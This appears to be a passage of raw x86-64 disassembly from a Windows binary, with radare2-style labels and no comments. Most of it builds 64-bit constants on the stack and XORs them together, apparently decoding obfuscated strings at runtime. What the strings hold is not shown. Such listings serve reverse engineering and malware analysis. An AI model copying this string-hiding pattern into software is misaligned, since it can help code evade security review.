call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x220]
call fcn.7ff70b542c20
nop
lea rcx, [rsp + 0xce0]
call fcn.7ff70b542c20
jmp 0x7ff70b51e022
test ebx, ebx
jns 0x7ff70b51d3e3
lea rcx, [rsp + 0x220]
call fcn.7ff70b543630
movabs rdi, 0x38cc65d113fc594c
mov qword [rsp + 0xd40], rdi
movabs rsi, 0x4d822a44244df00e
mov qword [rsp + 0xd48], rsi
lea r8, [rsp + 0xd50]
lea rdx, [rsp + 0xd40]
lea rcx, [rsp + 0x35b0]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x560], rax
mov qword [rsp + 0xd50], rax
mov qword [rsp + 0x568], rsi
mov qword [rsp + 0xd58], rsi
lea r8, [rsp + 0xd60]
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x35a0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0xd78], rdi
mov qword [rsp + 0x378], rsi
mov qword [rsp + 0xd80], rsi
lea r8, [rsp + 0xd88]
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x3590]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x560]
pxor xmm0, xmmword [rsp + 0x370]
movdqa xmmword [rsp + 0x370], xmm0
mov edx, ebx
lea rcx, [rsp + 0x30a0]
call fcn.7ff70b502890
mov rbx, rax
movabs rsi, 0x5dec0b9033a1783e
mov qword [rsp + 0x1b40], rsi
movabs r14, 0x2ee145645622827c
mov qword [rsp + 0x1b48], r14
movabs r15, 0xd170dcbb9278b872
mov qword [rsp + 0x1b50], r15
movabs r12, 0x8ff7aafaacea5405
mov qword [rsp + 0x1b58], r12
movabs rax, 0x40f5944884c4192c
mov qword [rsp + 0x1b60], rax
movabs rax, 0x2321f943acc0c017
mov qword [rsp + 0x1b68], rax
movabs rax, 0x62710a3ce78e466e
mov qword [rsp + 0x1b70], rax
movabs rax, 0x536e3214681196c1
mov qword [rsp + 0x1b78], rax
movabs rax, 0x60e6b729e8af58e5
mov qword [rsp + 0x1b80], rax
movabs rdi, 0xb5b3b5fc66a44df6
mov qword [rsp + 0x1b88], rdi
lea r8, [rsp + 0x1b90]
lea rdx, [rsp + 0x1b40]
lea rcx, [rsp + 0x3580]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x1b90], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x1b98], rax
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x1ba0], rax
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0x1ba8], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x1bb0], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x1bb8], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x1bc0], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x1bc8], rax
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x1bd0], rax
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x1bd8], rdi
lea r8, [rsp + 0x1be0]
lea rdx, [rsp + 0x1b90]
lea rcx, [rsp + 0x3570]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x8c0], rsi
mov qword [rsp + 0x1be0], rsi
mov qword [rsp + 0x8c8], r14
mov qword [rsp + 0x1be8], r14
mov qword [rsp + 0x8d0], r15
mov qword [rsp + 0x1bf0], r15
mov qword [rsp + 0x8d8], r12
mov qword [rsp + 0x1bf8], r12
movabs rax, 0x40f5944884c4192c
mov qword [rsp + 0x8e0], rax
mov qword [rsp + 0x1c00], rax
movabs rax, 0x2321f943acc0c017
mov qword [rsp + 0x8e8], rax
mov qword [rsp + 0x1c08], rax
movabs rax, 0x62710a3ce78e466e
mov qword [rsp + 0x8f0], rax
mov qword [rsp + 0x1c10], rax
movabs rax, 0x536e3214681196c1
mov qword [rsp + 0x8f8], rax
mov qword [rsp + 0x1c18], rax
movabs rax, 0x60e6b729e8af58e5
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x1c20], rax
mov qword [rsp + 0x908], rdi
mov qword [rsp + 0x1c28], rdi
lea r8, [rsp + 0x1c30]
lea rdx, [rsp + 0x1be0]
lea rcx, [rsp + 0x3560]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xb0]
pxor xmm0, xmmword [rsp + 0x8c0]
movdqa xmmword [rsp + 0x8c0], xmm0
movdqa xmm1, xmmword [rsp + 0x8d0]
pxor xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x8d0], xmm1
movdqa xmm0, xmmword [rsp + 0x8e0]
pxor xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x8e0], xmm0
movdqa xmm1, xmmword [rsp + 0x8f0]
pxor xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x8f0], xmm1
movdqa xmm0, xmmword [rsp + 0x900]
pxor xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x900], xmm0
mov r8, rbx
lea rdx, [rsp + 0x8c0]
lea rcx, [rsp + 0x3080]
call fcn.7ff70b4fc140
nop
lea r8, [rsp + 0x370]
mov rdx, rax
lea rcx, [rsp + 0x3060]
call fcn.7ff70b4fc270
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
nop
lea rcx, [rsp + 0x3080]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x30a0]
call fcn.7ff70b4fb1c0
jmp 0x7ff70b51c7cf
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
jmp 0x7ff70baab51f
lea rcx, [rsp + 0x90]
call fcn.7ff70b500330
nop
lea rcx, [rsp + 0x190]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x170]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x110]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x200]
call fcn.7ff70b5003a0
lea r11, [rsp + 0x4650]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret